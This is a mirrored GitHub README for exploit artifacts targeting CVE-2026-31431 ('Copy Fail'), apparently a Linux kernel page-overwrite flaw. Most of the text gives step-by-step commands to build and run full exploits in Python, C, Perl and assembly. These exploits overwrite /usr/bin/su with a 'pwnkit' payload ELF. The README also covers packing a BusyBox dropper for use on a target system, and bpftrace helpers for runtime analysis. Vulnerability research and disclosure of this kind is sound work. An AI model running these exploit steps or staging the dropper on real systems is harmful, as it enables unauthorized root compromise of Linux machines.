mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
158 lines
4.6 KiB
Markdown
158 lines
4.6 KiB
Markdown
# CVE-2026-31431: When the Copy Isn’t a Copy and the Failure Comes Too Late
|
||
|
||
Artifacts and scripts for the CopyFail writeup.
|
||
|
||
Writeup:
|
||
|
||
- https://4xura.com/binex/kernel/copy-fail/
|
||
|
||
## Layout
|
||
|
||
- [`proof-of-concept/`](./proof-of-concept/) contains the primitive-only demos used in the writeup.
|
||
- [`exploit-scripts/`](./exploit-scripts/) contains the full exploit implementations in Python, C, Perl, and x86_64 assembly.
|
||
- [`bpftrace-scripts/`](./bpftrace-scripts/) contains the small tracing helpers used during runtime analysis.
|
||
|
||
## Prerequisite
|
||
|
||
Only the Perl, assembly, and BusyBox artifacts expect an external replacement ELF. In the examples below, that file is named `payload.pwnkit.elf`, but any filename is fine.
|
||
|
||
That payload is not generated inside this repository. Build it first by following the payload workflow from the writeup, then place the resulting ELF in the same working directory as the artifact you want to run.
|
||
|
||
The primitive PoCs and the Python/C exploit drivers are directly runnable as-is.
|
||
|
||
## 1. Primitive PoCs
|
||
|
||
These PoCs are mainly for demonstration in the writeup. They show the overwrite primitive in isolation, not the full replacement-exec workflow.
|
||
|
||
To run the Python demo, enter the PoC directory and execute the script:
|
||
|
||
```sh
|
||
cd proof-of-concept
|
||
python3 copyfail_poc.py
|
||
```
|
||
|
||
To run the C demo, build it first and then execute the resulting binary:
|
||
|
||
```sh
|
||
cd proof-of-concept
|
||
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
|
||
./copyfail_poc
|
||
```
|
||
|
||
## 2. Python Exploit
|
||
|
||
The Python exploit is self-contained and keeps the replacement bytes in the script itself.
|
||
|
||
Change into the exploit directory and run the default target path:
|
||
|
||
```sh
|
||
cd exploit-scripts
|
||
python3 exploit.py
|
||
```
|
||
|
||
If you want a different target basename, pass it as the first argument. To enable per-chunk overwrite logs, set `DEBUG=1`:
|
||
|
||
```sh
|
||
python3 exploit.py su
|
||
DEBUG=1 python3 exploit.py su
|
||
```
|
||
|
||
## 3. C Exploit
|
||
|
||
The C exploit is also self-contained. If you want to stage a different replacement, edit `PAYLOAD_BYTES` in [`exploit-scripts/exploit.c`](./exploit-scripts/exploit.c) first.
|
||
|
||
Build the static (optional) binary like this:
|
||
|
||
```sh
|
||
cd exploit-scripts
|
||
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
|
||
```
|
||
|
||
Then run the default target, or pass a different basename. Debug logging is controlled through `DEBUG=1`:
|
||
|
||
```sh
|
||
./exploit
|
||
./exploit su
|
||
DEBUG=1 ./exploit su
|
||
```
|
||
|
||
## 4. Perl Exploit
|
||
|
||
This version reads an external ELF payload instead of embedding replacement bytes in the script.
|
||
|
||
Run it from the exploit directory. With no extra arguments, it uses the default target and default payload path:
|
||
|
||
```sh
|
||
cd exploit-scripts
|
||
perl exploit.pl
|
||
```
|
||
|
||
If you want to choose both the victim path and the payload ELF explicitly, pass them as arguments. Debug logging is also controlled through `DEBUG=1`:
|
||
|
||
```sh
|
||
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
|
||
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
|
||
```
|
||
|
||
## 5. Assembly Exploit
|
||
|
||
This version also consumes an external ELF payload. In the example below it is named `payload.pwnkit.elf`, but you can use any filename. If you rename it, update the `incbin` line in [`exploit-scripts/exploit.asm`](./exploit-scripts/exploit.asm) to match.
|
||
|
||
Build the assembly driver with `nasm` and `ld`:
|
||
|
||
```sh
|
||
cd exploit-scripts
|
||
nasm -f elf64 exploit.asm -o exploit.o
|
||
ld -o exploit_asm exploit.o
|
||
```
|
||
|
||
Then run the default target, or pass a full target path:
|
||
|
||
```sh
|
||
./exploit_asm
|
||
./exploit_asm /usr/bin/su
|
||
```
|
||
|
||
## 6. BusyBox Dropper
|
||
|
||
This packs the assembly driver and an external payload ELF into one BusyBox-compatible runner. The example below uses `payload.pwnkit.elf`, but any payload filename is fine as long as you pass the same path to the packer.
|
||
|
||
Generate the dropper from the exploit directory:
|
||
|
||
```sh
|
||
cd exploit-scripts
|
||
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
|
||
chmod +x copyfail-busybox.sh
|
||
```
|
||
|
||
On the target system, run the generated script with BusyBox `sh`:
|
||
|
||
```sh
|
||
busybox sh ./copyfail-busybox.sh /usr/bin/su
|
||
```
|
||
|
||
## 7. Bpftrace Helpers
|
||
|
||
Before running the tracing helpers, check that the relevant symbols are available:
|
||
|
||
```sh
|
||
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
|
||
```
|
||
|
||
To observe file pages entering the splice path, run:
|
||
|
||
```sh
|
||
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
|
||
```
|
||
|
||
To observe pipe-backed data reaching `AF_ALG`, run:
|
||
|
||
```sh
|
||
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
|
||
```
|
||
|
||
To observe the vulnerable `authencesn` decrypt callback, run:
|
||
|
||
```sh
|
||
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt
|
||
```
|